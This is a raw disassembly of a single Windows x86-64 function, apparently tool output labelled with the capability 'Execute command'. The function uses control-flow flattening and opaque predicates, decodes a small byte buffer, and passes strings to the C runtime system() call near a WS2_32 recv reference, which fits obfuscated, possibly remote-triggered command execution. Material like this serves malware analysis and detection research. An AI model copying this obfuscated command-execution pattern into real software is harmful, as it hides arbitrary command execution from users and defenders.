Function at 0x1404c8c70
Capabilities:
Execute command

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov rax, qword [0x140ad7868]
xor rax, rbp
mov qword [rbp], rax
mov eax, dword [0x140ae9720]
mov ecx, dword [0x140ae9724]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp - 0x19]
cmp ecx, 0xa
setl byte [rbp - 0x1a]
mov eax, 0xd4c58ff2
mov r13d, 0x2d2ac741
mov r14d, 0xb43c1f2
mov r12d, 0xa05e65db
mov r15d, 0x89c5350
jmp 0x1404c8cfc
mov rax, qword [rbp - 0x58]
mov eax, dword [0x140ae9720]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x60cd4ac9
mov ecx, 0x71d22d48
cmove eax, ecx
cmp dword [0x140ae9724], 0xa
cmovl eax, ecx
cmp eax, 0xff902db
jg 0x1404c8d30
cmp eax, 0xdf49f193
jle 0x1404c9340
cmp eax, 0xdf49f194
je 0x1404c9996
cmp eax, 0xfb4c534c
jne 0x1404c99f8
mov eax, 0xff902dc
jmp 0x1404c8cfc
cmp eax, 0x68b3c82b
jg 0x1404c9380
cmp eax, 0xff902dc
je 0x1404c99a0
cmp eax, 0x60cd4ac9
jne 0x1404c8cfc
mov rax, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x30]
mov rax, qword [rbp - 0x40]
sub rsp, 0x20
call fcn.1404c9a30
mov r11d, 0x6e633bc9
mov r10d, 0xbaa0574d
mov r9d, 0xa2da9830
add rsp, 0x20
mov r8, qword [rbp - 0x30]
mov ecx, 0x6e68ae61
jmp 0x1404c8d90
mov qword [rbp - 0x48], r8
mov ecx, 0x969d397d
nop dword [rax]
cmp ecx, 0x89c534f
jg 0x1404c8dd0
cmp ecx, 0xa2da982f
jle 0x1404c8e10
cmp ecx, 0xe15129fb
jg 0x1404c8ea3
cmp ecx, 0xa2da9830
je 0x1404c8efd
cmp ecx, 0xbaa0574d
jne 0x1404c8d90
mov ecx, 0x67a526ba
jmp 0x1404c8d90
cmp ecx, 0x67a526b9
jg 0x1404c8e50
cmp ecx, 0x2a971ed7
jle 0x1404c8ec5
cmp ecx, 0x2a971ed8
je 0x1404c8f07
cmp ecx, 0x34ba417c
jne 0x1404c8d90
cmp byte [rbp - 9], 0
mov ecx, 0x90fde649
cmovne ecx, r11d
jmp 0x1404c8d90
cmp ecx, 0x86198a10
je 0x1404c8f11
cmp ecx, 0x90fde649
je 0x1404c8d83
cmp ecx, 0x969d397d
jne 0x1404c8d90
mov rax, qword [rbp - 0x48]
mov qword [rbp - 0x50], rax
mov ecx, 0x27cb7b06
jmp 0x1404c8d90
cmp ecx, 0x67a526ba
je 0x1404c90ea
cmp ecx, 0x6e633bc9
je 0x1404c9115
cmp ecx, 0x6e68ae61
jne 0x1404c8d90
mov qword [rbp - 0x28], r8
mov edx, 0xbef94c70
nop dword [rax]
cmp edx, 0x12c11e0
je 0x1404c913d
cmp edx, 0xbef94c70
jne 0x1404c8e80
mov rcx, qword [rbp - 0x28]
movzx ecx, byte [rcx + 3]
mov edx, 0x12c11e0
jmp 0x1404c8e80
cmp ecx, 0xe15129fc
je 0x1404c9152
cmp ecx, 0xfe4d20be
jne 0x1404c8d90
mov ecx, 0x89c5350
jmp 0x1404c8d90
cmp ecx, 0x89c5350
jne 0x1404c930a
mov qword [rbp - 0x38], r8
mov ecx, dword [0x140ae0a88]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0xfe4d20be
cmove ecx, r10d
cmp dword [0x140ae0a8c], 0xa
cmovl ecx, r10d
jmp 0x1404c8d90
mov ecx, 0x2a971ed8
jmp 0x1404c8d90
mov ecx, 0x90fde649
jmp 0x1404c8d90
mov rcx, qword [rbp - 0x38]
mov edi, 0xecd68730
jmp 0x1404c8f70
movsxd rbx, dword [rbp - 8]
mov qword [rbp - 0x18], rbx
mov rbx, qword [rbp - 0x18]
movzx ebx, byte [rcx + rbx]
movsxd rdi, dword [rbp - 8]
imul rsi, rdi, 0x51eb851f
mov rax, rsi
shr rax, 0x3f
sar rsi, 0x24
add esi, eax
imul eax, esi, 0x32
sub edi, eax
lea eax, [rdi + 0x34]
mov esi, 0xcb
sub esi, edi
and esi, ebx
not ebx
and ebx, eax
or esi, ebx
mov byte [rbp - 1], sil
mov edi, 0xe22b6bc0
nop word cs:[rax + rax]
nop
cmp edi, 0xb43c1f1
jg 0x1404c8fc0
cmp edi, 0xecd6872f
jle 0x1404c9000
cmp edi, 0xecd68730
je 0x1404c904e
cmp edi, 0x12d2be
je 0x1404c9058
cmp edi, 0xb17434e
jne 0x1404c8f70
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x28]
movzx ebx, byte [rbp - 1]
mov byte [rdx + rax], bl
mov edx, dword [rbp - 8]
add edx, 1
mov edi, 0x5c580b09
jmp 0x1404c8f70
cmp edi, 0xc1796a7
jle 0x1404c9030
cmp edi, 0xc1796a8
je 0x1404c9064
cmp edi, 0x5c580b09
jne 0x1404c90b6
mov dword [rbp - 8], edx
mov ebx, dword [rbp - 8]
cmp ebx, 4
mov edi, 0xc1796a8
cmovl edi, r12d
jmp 0x1404c8f70
cmp edi, 0xa05e65db
je 0x1404c8f1c
cmp edi, 0xe22b6bc0
jne 0x1404c8f70
mov qword [rbp - 0x28], r8
mov edi, 0xb17434e
jmp 0x1404c8f70
cmp edi, 0xb43c1f2
je 0x1404c908d
cmp edi, 0xbf10956
jne 0x1404c8f70
mov edi, 0xb43c1f2
jmp 0x1404c8f70
mov edi, 0x12d2be
jmp 0x1404c8f70
mov edi, 0x5c580b09
xor edx, edx
jmp 0x1404c8f70
mov ebx, dword [0x140ae7fd0]
lea edi, [rbx - 1]
imul edi, ebx
test dil, 1
mov edi, 0xbf10956
cmove edi, r14d
cmp dword [0x140ae7fd4], 0xa
cmovl edi, r14d
jmp 0x1404c8f70
mov ebx, dword [0x140ae7fd0]
lea edi, [rbx - 1]
imul edi, ebx
test dil, 1
mov edi, 0xbf10956
cmove edi, r13d
cmp dword [0x140ae7fd4], 0xa
cmovl edi, r13d
jmp 0x1404c8f70
cmp edi, 0x2d2ac741
jne 0x1404c8f70
mov eax, dword [0x140ae0a88]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xe15129fc
cmove ecx, r9d
cmp dword [0x140ae0a8c], 0xa
cmovl ecx, r9d
jmp 0x1404c8d90
mov ecx, dword [0x140ae0a88]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0xe15129fc
mov eax, 0x86198a10
cmove ecx, eax
cmp dword [0x140ae0a8c], 0xa
cmovl ecx, eax
jmp 0x1404c8d90
mov ecx, dword [0x140ae0a88]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0xfe4d20be
cmove ecx, r15d
cmp dword [0x140ae0a8c], 0xa
cmovl ecx, r15d
jmp 0x1404c8d90
mov byte [rbp - 0x18], cl
cmp byte [rbp - 0x18], 0
setne byte [rbp - 9]
mov ecx, 0x34ba417c
jmp 0x1404c8d90
mov rcx, qword [rbp - 0x38]
mov edi, 0xecd68730
jmp 0x1404c91b0
movsxd rax, dword [rbp - 8]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, byte [rcx + rax]
movsxd rbx, dword [rbp - 8]
imul rdi, rbx, 0x51eb851f
mov rsi, rdi
shr rsi, 0x3f
sar rdi, 0x24
add edi, esi
imul edi, edi, 0x32
sub ebx, edi
lea edi, [rbx + 0x34]
mov esi, 0xcb
sub esi, ebx
and esi, eax
not eax
and eax, edi
or esi, eax
mov byte [rbp - 1], sil
mov edi, 0xe22b6bc0
nop word cs:[rax + rax]
nop
cmp edi, 0xb43c1f1
jg 0x1404c9200
cmp edi, 0xecd6872f
jle 0x1404c9240
cmp edi, 0xecd68730
je 0x1404c928e
cmp edi, 0x12d2be
je 0x1404c9298
cmp edi, 0xb17434e
jne 0x1404c91b0
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x28]
movzx ebx, byte [rbp - 1]
mov byte [rdx + rax], bl
mov edx, dword [rbp - 8]
add edx, 1
mov edi, 0x5c580b09
jmp 0x1404c91b0
cmp edi, 0xc1796a7
jle 0x1404c9270
cmp edi, 0xc1796a8
je 0x1404c92a4
cmp edi, 0x5c580b09
jne 0x1404c92f4
mov dword [rbp - 8], edx
mov eax, dword [rbp - 8]
cmp eax, 4
mov edi, 0xc1796a8
cmovl edi, r12d
jmp 0x1404c91b0
cmp edi, 0xa05e65db
je 0x1404c915d
cmp edi, 0xe22b6bc0
jne 0x1404c91b0
mov qword [rbp - 0x28], r8
mov edi, 0xb17434e
jmp 0x1404c91b0
cmp edi, 0xb43c1f2
je 0x1404c92cc
cmp edi, 0xbf10956
jne 0x1404c91b0
mov edi, 0xb43c1f2
jmp 0x1404c91b0
mov edi, 0x12d2be
jmp 0x1404c91b0
mov edi, 0x5c580b09
xor edx, edx
jmp 0x1404c91b0
mov eax, dword [0x140ae7fd0]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov edi, 0xbf10956
cmove edi, r14d
cmp dword [0x140ae7fd4], 0xa
cmovl edi, r14d
jmp 0x1404c91b0
mov eax, dword [0x140ae7fd0]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov edi, 0xbf10956
cmove edi, r13d
cmp dword [0x140ae7fd4], 0xa
cmovl edi, r13d
jmp 0x1404c91b0
cmp edi, 0x2d2ac741
jne 0x1404c91b0
mov ecx, 0x86198a10
jmp 0x1404c8d90
cmp ecx, 0x27cb7b06
jne 0x1404c8d90
mov rcx, qword [rbp - 0x50]
sub rsp, 0x20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x20
mov eax, 0x71d22d48
jmp 0x1404c8cfc
cmp eax, 0xd014deb4
je 0x1404c99ee
cmp eax, 0xd4c58ff2
jne 0x1404c8cfc
mov cl, byte [rbp - 0x19]
cmp byte [rbp - 0x1a], 0
mov eax, 0xfb4c534c
mov edx, 0xff902dc
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x1404c8cfc
cmp eax, 0x68b3c82c
je 0x1404c8cd2
cmp eax, 0x71d22d48
jne 0x1404c8cfc
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x60], rax
mov rax, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x30]
mov rax, qword [rbp - 0x40]
sub rsp, 0x20
call fcn.1404c9a30
mov r11d, 0x6e633bc9
mov r10d, 0xbaa0574d
mov r9d, 0xa2da9830
add rsp, 0x20
mov r8, qword [rbp - 0x30]
mov ecx, 0x6e68ae61
jmp 0x1404c93e0
mov qword [rbp - 0x48], r8
mov ecx, 0x969d397d
nop dword [rax]
cmp ecx, 0x89c534f
jg 0x1404c9420
cmp ecx, 0xa2da982f
jle 0x1404c9460
cmp ecx, 0xe15129fb
jg 0x1404c94f3
cmp ecx, 0xa2da9830
je 0x1404c954d
cmp ecx, 0xbaa0574d
jne 0x1404c93e0
mov ecx, 0x67a526ba
jmp 0x1404c93e0
cmp ecx, 0x67a526b9
jg 0x1404c94a0
cmp ecx, 0x2a971ed7
jle 0x1404c9515
cmp ecx, 0x2a971ed8
je 0x1404c9557
cmp ecx, 0x34ba417c
jne 0x1404c93e0
cmp byte [rbp - 9], 0
mov ecx, 0x90fde649
cmovne ecx, r11d
jmp 0x1404c93e0
cmp ecx, 0x86198a10
je 0x1404c9561
cmp ecx, 0x90fde649
je 0x1404c93d4
cmp ecx, 0x969d397d
jne 0x1404c93e0
mov rax, qword [rbp - 0x48]
mov qword [rbp - 0x50], rax
mov ecx, 0x27cb7b06
jmp 0x1404c93e0
cmp ecx, 0x67a526ba
je 0x1404c9739
cmp ecx, 0x6e633bc9
je 0x1404c9764
cmp ecx, 0x6e68ae61
jne 0x1404c93e0
mov qword [rbp - 0x28], r8
mov edx, 0xbef94c70
nop dword [rax]
cmp edx, 0x12c11e0
je 0x1404c978c
cmp edx, 0xbef94c70
jne 0x1404c94d0
mov rcx, qword [rbp - 0x28]
movzx ecx, byte [rcx + 3]
mov edx, 0x12c11e0
jmp 0x1404c94d0
cmp ecx, 0xe15129fc
je 0x1404c97a1
cmp ecx, 0xfe4d20be
jne 0x1404c93e0
mov ecx, 0x89c5350
jmp 0x1404c93e0
cmp ecx, 0x89c5350
jne 0x1404c995a
mov qword [rbp - 0x38], r8
mov ecx, dword [0x140ae0a88]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0xfe4d20be
cmove ecx, r10d
cmp dword [0x140ae0a8c], 0xa
cmovl ecx, r10d
jmp 0x1404c93e0
mov ecx, 0x2a971ed8
jmp 0x1404c93e0
mov ecx, 0x90fde649
jmp 0x1404c93e0
mov rcx, qword [rbp - 0x38]
mov edi, 0xecd68730
jmp 0x1404c95c0
movsxd rbx, dword [rbp - 8]
mov qword [rbp - 0x18], rbx
mov rbx, qword [rbp - 0x18]
movzx ebx, byte [rcx + rbx]
movsxd rdi, dword [rbp - 8]
imul rsi, rdi, 0x51eb851f
mov rax, rsi
shr rax, 0x3f
sar rsi, 0x24
add esi, eax
imul eax, esi, 0x32
sub edi, eax
lea eax, [rdi + 0x34]
mov esi, 0xcb
sub esi, edi
and esi, ebx
not ebx
and ebx, eax
or esi, ebx
mov byte [rbp - 1], sil
mov edi, 0xe22b6bc0
nop word cs:[rax + rax]
nop
cmp edi, 0xb43c1f1
jg 0x1404c9610
cmp edi, 0xecd6872f
jle 0x1404c9650
cmp edi, 0xecd68730
je 0x1404c969e
cmp edi, 0x12d2be
je 0x1404c96a8
cmp edi, 0xb17434e
jne 0x1404c95c0
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x28]
movzx ebx, byte [rbp - 1]
mov byte [rdx + rax], bl
mov edx, dword [rbp - 8]
add edx, 1
mov edi, 0x5c580b09
jmp 0x1404c95c0
cmp edi, 0xc1796a7
jle 0x1404c9680
cmp edi, 0xc1796a8
je 0x1404c96b4
cmp edi, 0x5c580b09
jne 0x1404c9705
mov dword [rbp - 8], edx
mov edi, dword [rbp - 8]
cmp edi, 4
mov edi, 0xc1796a8
cmovl edi, r12d
jmp 0x1404c95c0
cmp edi, 0xa05e65db
je 0x1404c956c
cmp edi, 0xe22b6bc0
jne 0x1404c95c0
mov qword [rbp - 0x28], r8
mov edi, 0xb17434e
jmp 0x1404c95c0
cmp edi, 0xb43c1f2
je 0x1404c96dc
cmp edi, 0xbf10956
jne 0x1404c95c0
mov edi, 0xb43c1f2
jmp 0x1404c95c0
mov edi, 0x12d2be
jmp 0x1404c95c0
mov edi, 0x5c580b09
xor edx, edx
jmp 0x1404c95c0
mov edi, dword [0x140ae7fd0]
lea ebx, [rdi - 1]
imul ebx, edi
test bl, 1
mov edi, 0xbf10956
cmove edi, r14d
cmp dword [0x140ae7fd4], 0xa
cmovl edi, r14d
jmp 0x1404c95c0
mov ebx, dword [0x140ae7fd0]
lea edi, [rbx - 1]
imul edi, ebx
test dil, 1
mov edi, 0xbf10956
cmove edi, r13d
cmp dword [0x140ae7fd4], 0xa
cmovl edi, r13d
jmp 0x1404c95c0
cmp edi, 0x2d2ac741
jne 0x1404c95c0
mov eax, dword [0x140ae0a88]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xe15129fc
cmove ecx, r9d
cmp dword [0x140ae0a8c], 0xa
cmovl ecx, r9d
jmp 0x1404c93e0
mov ecx, dword [0x140ae0a88]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0xe15129fc
mov eax, 0x86198a10
cmove ecx, eax
cmp dword [0x140ae0a8c], 0xa
cmovl ecx, eax
jmp 0x1404c93e0
mov ecx, dword [0x140ae0a88]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0xfe4d20be
cmove ecx, r15d
cmp dword [0x140ae0a8c], 0xa
cmovl ecx, r15d
jmp 0x1404c93e0
mov byte [rbp - 0x18], cl
cmp byte [rbp - 0x18], 0
setne byte [rbp - 9]
mov ecx, 0x34ba417c
jmp 0x1404c93e0
mov rcx, qword [rbp - 0x38]
mov edi, 0xecd68730
jmp 0x1404c9800
movsxd rax, dword [rbp - 8]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, byte [rcx + rax]
movsxd rbx, dword [rbp - 8]
imul rdi, rbx, 0x51eb851f
mov rsi, rdi
shr rsi, 0x3f
sar rdi, 0x24
add edi, esi
imul edi, edi, 0x32
sub ebx, edi
lea edi, [rbx + 0x34]
mov esi, 0xcb
sub esi, ebx
and esi, eax
not eax
and eax, edi
or esi, eax
mov byte [rbp - 1], sil
mov edi, 0xe22b6bc0
nop word cs:[rax + rax]
nop
cmp edi, 0xb43c1f1
jg 0x1404c9850
cmp edi, 0xecd6872f
jle 0x1404c9890
cmp edi, 0xecd68730
je 0x1404c98de
cmp edi, 0x12d2be
je 0x1404c98e8
cmp edi, 0xb17434e
jne 0x1404c9800
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x28]
movzx ebx, byte [rbp - 1]
mov byte [rdx + rax], bl
mov edx, dword [rbp - 8]
add edx, 1
mov edi, 0x5c580b09
jmp 0x1404c9800
cmp edi, 0xc1796a7
jle 0x1404c98c0
cmp edi, 0xc1796a8
je 0x1404c98f4
cmp edi, 0x5c580b09
jne 0x1404c9944
mov dword [rbp - 8], edx
mov eax, dword [rbp - 8]
cmp eax, 4
mov edi, 0xc1796a8
cmovl edi, r12d
jmp 0x1404c9800
cmp edi, 0xa05e65db
je 0x1404c97ac
cmp edi, 0xe22b6bc0
jne 0x1404c9800
mov qword [rbp - 0x28], r8
mov edi, 0xb17434e
jmp 0x1404c9800
cmp edi, 0xb43c1f2
je 0x1404c991c
cmp edi, 0xbf10956
jne 0x1404c9800
mov edi, 0xb43c1f2
jmp 0x1404c9800
mov edi, 0x12d2be
jmp 0x1404c9800
mov edi, 0x5c580b09
xor edx, edx
jmp 0x1404c9800
mov eax, dword [0x140ae7fd0]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov edi, 0xbf10956
cmove edi, r14d
cmp dword [0x140ae7fd4], 0xa
cmovl edi, r14d
jmp 0x1404c9800
mov eax, dword [0x140ae7fd0]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov edi, 0xbf10956
cmove edi, r13d
cmp dword [0x140ae7fd4], 0xa
cmovl edi, r13d
jmp 0x1404c9800
cmp edi, 0x2d2ac741
jne 0x1404c9800
mov ecx, 0x86198a10
jmp 0x1404c93e0
cmp ecx, 0x27cb7b06
jne 0x1404c93e0
mov rcx, qword [rbp - 0x50]
sub rsp, 0x20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x20
mov eax, dword [0x140ae9720]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x60cd4ac9
mov ecx, 0xdf49f194
jmp 0x1404c8cef
mov eax, 0xf68db88b
jmp 0x1404c8cfc
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x30], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x30]
mov qword [rbp - 0x58], rax
mov eax, dword [0x140ae9720]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfb4c534c
mov ecx, 0xd014deb4
jmp 0x1404c8cef
mov eax, 0x68b3c82c
jmp 0x1404c8cfc
cmp eax, 0xf68db88b
jne 0x1404c8cfc
mov rax, qword [rbp - 0x60]
mov rax, qword [rbp - 0x58]
mov rcx, qword [rbp]
xor rcx, rbp
sub rsp, 0x20
call fcn.140616370
nop
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret